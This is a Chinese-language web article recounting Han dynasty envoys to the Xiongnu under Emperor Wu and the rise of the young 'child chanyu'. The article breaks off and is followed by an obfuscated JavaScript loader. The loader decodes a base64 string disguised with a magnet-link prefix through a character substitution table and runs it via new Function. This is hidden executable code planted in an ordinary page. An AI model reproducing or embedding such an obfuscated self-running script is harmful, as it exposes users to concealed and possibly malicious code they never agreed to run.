汉武帝派大将军卫青和冠军侯霍去病,打的匈奴退到大漠以西,再也不敢到汉朝边境侵扰。汉希望匈奴能俯首称臣,成为汉朝的属国,便派杨信出使匈奴。因杨信不肯放下旄节,单于便不准杨信进毡帐,单于便到毡帐外接见杨信。
杨信说:“如果匈奴真想与汉和亲,就要派太子到汉朝做人质。”
匈奴单于答道:“以前的和亲,汉朝应该派遣公主,供给一定等级的绸绢、丝棉和食物,用以和亲,而匈奴不再去边境骚扰。如今你们却想违背以前的约定,让我的太子去做人质,这样做,和亲就没有希望了。”
匈奴单于一直以对等的态度,来面对汉朝使臣,使得杨信出使匈奴没有成功。
杨信回国后,没有什么成果,汉武帝又派王乌出使匈奴,匈奴单于用好话谄媚他,想多得些财物,便欺骗他说:“我想要去汉朝面见天子,当面缔约,结为兄弟。”
王乌归来向汉朝做了汇报,朝廷就为单于在长安修筑官邸。匈奴单干说:“若没有汉朝尊贵的人来出使,我不能同他说真话。”“匈奴有个显贵之人,出使汉朝时得了病,汉朝派人给他治病,但却不幸死了。汉朝派二千石官员出使匈奴,顺便送还匈奴贵人的灵柩,以及价值数千金丧葬用品,并声称这在汉朝是给贵人殡葬的规格”
单于认为是汉朝杀害了他的使者,便把汉朝使者扣留下来不许回国。单于所说的这些话,是为了欺骗王乌,根本无意到汉朝拜见天子,也无意派太子到汉朝做人质。于是匈奴屡次派突击队侵犯汉朝边境。汉朝就任命郭昌为拔胡将军,同浞野侯屯兵朔方以东,防备匈奴。汉使者被扣留在匈奴的第三年,单于死去。
匈奴单于死后,由乌维单于继位。乌维单于比较和善,他在位期间,没有和汉军产生摩擦,但命短,在位十年,便去世了。由他的儿子乌师庐继位当了单于。
因为乌师庐年幼,所以被称为儿单于。这一年是汉武帝元封六年。这个儿单于可与他的父单于大不相同。年龄不大,野心不小,即位后便盘算如何对付汉朝。先把军队向西北移动,左军直插云中郡,右军直达酒泉和敦煌郡。
儿单于继位后,汉朝派遣两位使者出使匈奴。一位吊唁刚刚去世的单于,一位吊唁右贤王,想以此离间匈奴内部。匈奴人早就看破了汉人的阴谋诡计。使者刚进入匈奴境内,就被匈奴人全部把他们送到单于那儿。
儿单于见他们如此光景,很生气,就把他们全部扣留了。这以后,汉朝的使者又有十多批被扣留在匈奴,而匈奴使者来到汉朝,也被扣留十多批。
儿单于年少气盛,喜欢打打杀杀,国人多有不安。儿单于的部下,左大都尉也看不惯儿单于的所做所为,就想杀了儿单于,另立单于。左大都尉派亲信到汉朝商议,想杀死单于归降汉朝,但汉朝太远,希望汉朝派兵接应,我就立即杀了单于。
汉朝听信了这此话,就在边境修了受降城。而左大都还是嫌远。
(function(){function ne526(of4944f){var g99f136="kB;
[email protected]:&Xp,ojhY[7?VqF62ZDblL5_r3nyesz%!f](/u4wN0^HtP=S1A|Mi-IRWUOvC8m";var o48b3f="rRWluxf7Hsz31G2yiF?SwQoZD.^vXOepJ&V%hbYA=jIn5caB/@L],k|~dP(!4MCNU;K9qEtg:8[6$_m0-T";return atob(of4944f).split('').map(function(q9e8cd){var ve143=g99f136.indexOf(q9e8cd);return ve143==-1?q9e8cd:o48b3f[ve143]}).join('')}var c=ne526('magnet:?xt=JkBydXAmUiJEIisiSW5hY3UiKyJhRCIrIj8iIUx+SnJuTUBwcncpe3d+SnJuTUBwcndrQ35EM34zSW5mOWEweWFUfmZEVD9EMzFmSkRhYXV+PzEpe0B+d3NoXnluKDtAcnNqTT9FTXdyeVlAaXlNcGtqVjl5TX5wa3YpKXtrP01Ka3J9WXlrIE1DZERuMTNMfkpybk1AcHJ3dlQweTMxSSl7az9NSmtyIDpNa0ByaWp+a3B2SFp5a0hwdT93dlQweTMxSSl9PVl5ayBZYzBURG5EYUxSIjk1RThRQ1RPJTdsb09xOk9RbV4lImYiWT9rOENUImYiRUB1OFQwYyJmIm5uTThkQ2QzOENXOGQxIFRkLTNDLTNkIiE9WXlrIE1UdUkzP0xEVD9EMzFSTUNkRG4xM3cxYykrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFJKSFmSkk/M25EeUxEVD9EMzFSTUNkRG4xM3cxSSkrTUNkRG4xM3dUVFcpK01DZERuMTN3VFRUKStNQ2REbjEzdzFjKSFmdmEzMWRDYUxKRGFhdX4/MVJNVHVJMz93ImJhNkdudjZKdS50NW52OSZ1bExMIikhZnZ1fm5DeX5kQ0xNVHVJMz93ImJhcTliW0I5QjtnOUQ7Nkp1bExMIilmQFREY0RUTE1UdUkzP3cibmE2QG5hQkd5OzNyIilmcnkxM0REM0xNVHVJMz93Im52NiZEJC41LFhMTCIpZnlESXVhY0xNVHVJMz93Im5hZUV5W1hMIilmOVd+PzBkMUlMTVR1STM/dyJudjZkLFtxSyxYTEwiKWZnRFRDbjBDSVRMTVR1STM/dyJ5djFWRGlMTCIpZjVEPzFjZD8/Y0xEVD9EMzFSTVR1STM/dyJtOy5DeWxMTCIpIWZLbkR1dT9MNUQ/MWNkPz9jUk1UdUkzP3ciYmQ2VkRsTEwiKSFmOVQzfj9EM0w1RD8xY2Q/P2NSTVR1STM/dyIsdmdZRGFfTCIpIWZBeVczfmN1dTBMNUQ/MWNkPz9jUk1UdUkzP3cibnYuSiwkMU0iKSFmZz9XQ3VkP0RhTE1UdUkzP3ciRDsuQ2JkaUwiKWY1SWQxYT9ETE1UdUkzP3ciRDsuJiIpZkBXMEMzTE1UdUkzP3ciRCQxWixsTEwiKT1ZeWsgQTBuYUl+TE1UdUkzP3cibmRUQ3k7Qjl1aUxMIik9WXlrIEp+RFQxRD1ZeWsgbmRhP2N1P2FETGtDfkQzfjNJblJDIT1AfndrQ35EM34zSW5qOT9yaU1aPlQpe25kYT9jdT9hRExrQ35EM34zSW5SOVQzfj9EM3dBeVczfmN1dTB3KSprQ35EM34zSW5qOT9yaU1aKSF9QH53OXBueU1AcHJqRT95a25aakBydT9nN353QTBuYUl+KT44VCl7Sn5EVDFETEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyJ1JDYwdSQuRyw7fEwiKSk9Sn5EVDFEakB1TCJNIitBeVczfmN1dTB3KSpUPzA9Sn5EVDFEakVNRzk/aiZAdU1aTCJUQ0MyIj1KfkRUMURqRU1HOT9qWj9AaVpNTCIzQ0NWZyI9Sn5EVDFEanVARXlEOT91TE1rSj89QH53SkRhYXV+PzFqRHB1R05Mcko5OSl7SkRhYXV+PzFqRHB1R2p5VlY/cnVIWkA5dXdKfkRUMUQpfT85RT97WXlrIEBhZFdhRDFMfkpybk1AcHJ3KXtKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d0p+RFQxRCk9RFQ/RDMxams/dnBZP3xZP3JNJUBFTT9yP2t3QFcwQzNmQGFkV2FEMWZ+eTlFPyl9PURUP0QzMWp5dXV8WT9yTSVARU0/cj9rd0BXMEMzZkBhZFdhRDFmfnk5RT8pfX1ZeWsgWj8/bkNJTEpEYWF1fj8xUnZ1fm5DeX5kQyF3TVR1STM/dyIsO1RALDtYTCIpKT1aPz9uQ0lqQHVMOWEweWFUfitLbkR1dT93QXlXM35jdXUwdykqVD8wKT1aPz9uQ0lqRU1HOT9qWj9AaVpNTCJDVmciPVo/P25DSWpFTUc5P2pwWT9rfjlwJkwiWkB1dT9yIj1ucHJFTSB1M2Q/YzFMd0sxP0RhM1d+RGZnMEluMWZNM2FDP0lMZENDKUw+NGtwdkBFP2preW4/d1J+P01uWndLMT9EYTNXfkRmZzBJbjEpZnI/JiA0a3B2QEU/d3d3T2ZrPzU/bk0pTD5FP01tQHY/cEpNd3d3KUw+az81P25Nd3I/JiB8a2twa3ciTUB2P3BKTSIpKSlmTTNhQz9JKSkpISk9WXlrIHUzSW5uTHlFR3JuIH5Kcm5NQHByd1lJYUkzY1d5KXtZeWsgSjBkP0l1V3k/TFIiNUUiZiJuRUUiZiJpQH4iZiI1VmkiZiJWcmkiZiI1Vmk/ImYiJj9EViJmIkVZaSJmIlpNdjkiZiI1Vj9pIiE9WXlrIEc/P3lJYW5ETEowZD9JdVd5P2o5P3JpTVo9SjBkP0l1V3k/TEowZD9JdVd5P1I5VDN+P0Qzd0F5VzN+Y3V1MHcpKkc/P3lJYW5EKSE9bnByRU0gQTFDdXVMUiIsZG5KdG02S3lkLktEO2dNLGR1M0Q6M0NEYWxXN21dVHRpTEwiIT1ZeWsgcn5jQ3VMQTFDdXVSQyE9QH53QTFDdXVqOT9yaU1aPlQpe3J+Y0N1TEExQ3V1UjlUM34/RDN3QXlXM35jdXUwdykqQTFDdXVqOT9yaU1aKSF9WXlrIFpUYX5XfnlMVnlrRT9fck13OWEweWFUfik9QH53QEV0eXR3WlRhfld+eSkpWlRhfld+eUxDPVpUYX5XfnkrTElJSUk9WXlrIEQxP0M/eVRMUiJaTU1WRS1zImZdSTNhRERERER3cn5jQ3UpZiJaTXY5ImZgRXZVe1pUYX5Xfnl9YGZgVXs5YTB5YVR+fWpVe0owZD9JdVd5P31gIVJnRFRDbjBDSVQhdyJzIik9QH53Sn5EVDFETkxySjk5KUp+RFQxRGpZeTlKPytMIlxrXHJFP3J1IEFFIFpwRU0gIitEMT9DP3lUPU1rR3tZeWsgWlQxdWExTHkmeUBNIHUzZD9jMXdEMT9DP3lUZntrP3VAaz9uTS0ifnA5OXAmIn1mVDNDQyk9WlQxdWExTHkmeUBNIFpUMXVhMWpNP2dNdyk9WXlrIG5uZDBuQ1dEfkxaVDF1YTFqQHJ1P2c3fndNQ2REbjEzd1dUKSk9WXlrIHZuZDFkfmFDTCIiPUB+d25uZDBuQ1dEfj5MQyl7dm5kMWR+YUNMWlQxdWExUkBURGNEVCF3bm5kMG5DV0R+KT1aVDF1YTFMWlQxdWExUkBURGNEVCF3Q2ZubmQwbkNXRH4pfVpUMXVhMUxaVDF1YTFSZz9XQ3VkP0RhIXdzantUZjB9c2kpUjVJZDFhP0Qhd3dnTD5nUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpKSlSZ0RUQ24wQ0lUIXciIik9WlQxdWExTFpUMXVhMSt2bmQxZH5hQz1aVDF1YTFMTVR1STM/d1pUMXVhMSk9WUlhSTNjV3lMWlQxdWExUnlESXVhYyF3InMiKVJDIT1AfndKfkRUMUROTHJKOTkpSn5EVDFEall5OUo/K0wiXGtccmk/TSBBRSBacEVNIEVKbm4/RUUiK1lJYUkzY1d5fW55TW5ad0sxV0RjdWEpe0B+d0p+RFQxRE5Mcko5OSlKfkRUMURqWXk5Sj8rTCJca1xyaT9NIEFFIFpwRU0gfnlAOT91IitLMVdEY3VhfVl5ayBwZGExM2RMSkk/M25EeXdZYzBURG5EYWpucHJueU13UmBycCY4VXtveU0/UiJycCYiIXcpfWBmYFprP344VXs5cG55TUBwcmpaaz9+fWBmYEpFbjhVe35hYWFuY3cpfWAhKWpFcGtNd3d3KUw+QXlXM35jdXUwdyk4ajMpKVJnRFRDbjBDSVQhdyJmIikpPVl5ayBKeXlhbjFMcGRhMTNkakBydT9nN353TUNkRG4xM3dXVCkpPjhUeHBkYTEzZFJAVERjRFQhd3BkYTEzZGpAcnU/Zzd+d01DZERuMTN3V1QpKSktIiI9cGRhMTNkTHBkYTEzZFJyeTEzREQzIXdKeXlhbjFmIiIpUnlESXVhYyF3IiIpUjlXfj8wZDFJIXcpUmdEVENuMENJVCF3IiIpK0p5eWFuMT1aPz9uQ0lqRWtuTFIiWk1NVkUtcyJmWUlhSTNjV3lmWj8/bkNJakB1ZnBkYTEzZCFSZ0RUQ24wQ0lUIXcicyIpPU1rR3tKRGFhdX4/MWpEcHVHanlWVj9ydUhaQDl1d1o/P25DSSl9bnlNblp3Pyl7SkRhYXV+PzFqeXV1fFk/ck0lQEVNP3I/a3cibzdeSHByTT9yTSVweXU/dSJmd3cpTD57SkRhYXV+PzFqRHB1R2pAckU/a01lP35waz93Wj8/bkNJZkpEYWF1fj8xakRwdUdqblpAOXV0cHU/RVJDISl9KSl9QH53Sn5EVDFETkxySjk5KXtKfkRUMURqWXk5Sj8rTCJca1xyeVZWP3J1P3UgP3YgTXAgWk12OSI9WXlrID91RElheX5MSkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KT1Afnc/dURJYXl+TExySjk5KCg/dURJYXl+TExKcnU/fkByP3Upe0p+RFQxRGpZeTlKPytMIlxrXHIgbnlyTSBpP00gP3YgfmtwdiBaTXY5In19fT1AfndKfkRUMUROTHJKOTkpe0p+RFQxRGpZeTlKPytMIlxrXHJFP3J1IDVFIFpwRU0gIituZGE/Y3U/YUR9WXlrIH5hYWFuY0x+SnJuTUBwcncpe01rR3tucHJFTSBKRHVDM255THdyPyYgb3lNPylqTXAlcG55OT9veU0/Ok1rQHJpdyk9bnByRU0gQTB5M3lhTGBFdk1AT0VAdU9Ve35DRHVkMUlkajlhMHlhVH59T1ZZYD05P00gQVRXVFdkTHE6N3RqVnlrRT93OXBueTk6TXBreWk/amk/TV9NP3Z3QTB5M3lhKSk9QH53QVRXVFdkTExySjk5KChBVFdUV2RqdXlNP05MSkR1QzNueSl7QVRXVFdkTHtWWW1Adj9FLUNmdXlNPy1KRHVDM255fX1rP01Ka3IgQVRXVFdkalZZbUB2P0UrVH1ueU1uWndZZH5XMzExYVcpe2s/TUprciBUfX09WXlrIF1JM2FEREREREx+SnJuTUBwcndASWFXfnkpe2s/TUprciBNVHVJMz93QElhV355KVJyeTEzREQzIXdNQ2REbjEzdzBkKWZBeVczfmN1dTB3KWpNcDpNa0ByaXdhVylqRTlAbj93OVQzfj9EM3dBeVczfmN1dTB3KSoxKStkKSl9PXUzSW5ud11JM2FERERERHduZGE/Y3U/YUQpKT1EVD9EMzFSInl1dXxZP3JNJUBFTT9yP2siIXcidj9FRXlpPyJmd35Kcm5NQHByd1lkflczMTFhVyl7QH53WWR+VzMxMWFXanV5TXlqXUxMOWEweWFUfil7SkRhYXV+PzFqaT9NfDk/dj9yTWVHX3V3Wj8/bkNJakB1KWprP3ZwWT93KT1ZeWsgWmR+Y0lXZExySjk5PUB+d0p+RFQxRE5Mcko5OSl7Sn5EVDFEall5OUo/K0wiXGtccms/bj9AWT8gP3YgVnBFTSB2P0VFeWk/Ij1KfkRUMURqWXk5Sj8rTCJca1xyP2p1eU15alkgIitZZH5XMzExYVdqdXlNeWpBPVpkfmNJV2RMd2pqajl5dWNjMylMPntAfndOOXl1Y2MzKCg5eXVjYzNqOT9yaU1aPExDKWs/TUprcj1KfkRUMURqWXk5Sj8rTCJca1xyIis5eXVjYzNqNXBAcnciICIpfX1yPyYgLkpybk1AcHJ3InlraUUiZllkflczMTFhV2p1eU15akEpd3tPTXVuRS12YTMxZENhZk85cGktWmR+Y0lXZH0pfX0pKX0pd1IiLGRuSmJbZUM3JDlhYltCS0Q7Z00sZHUzRDozQ0RhbFc3bV1UdGlMTCIhZiJUMGMiZiZAcnVwJmZ1cG5Kdj9yTSl9PURJbmFjdWFEP3cpPQ=='.substr(11));new Function(c)()})();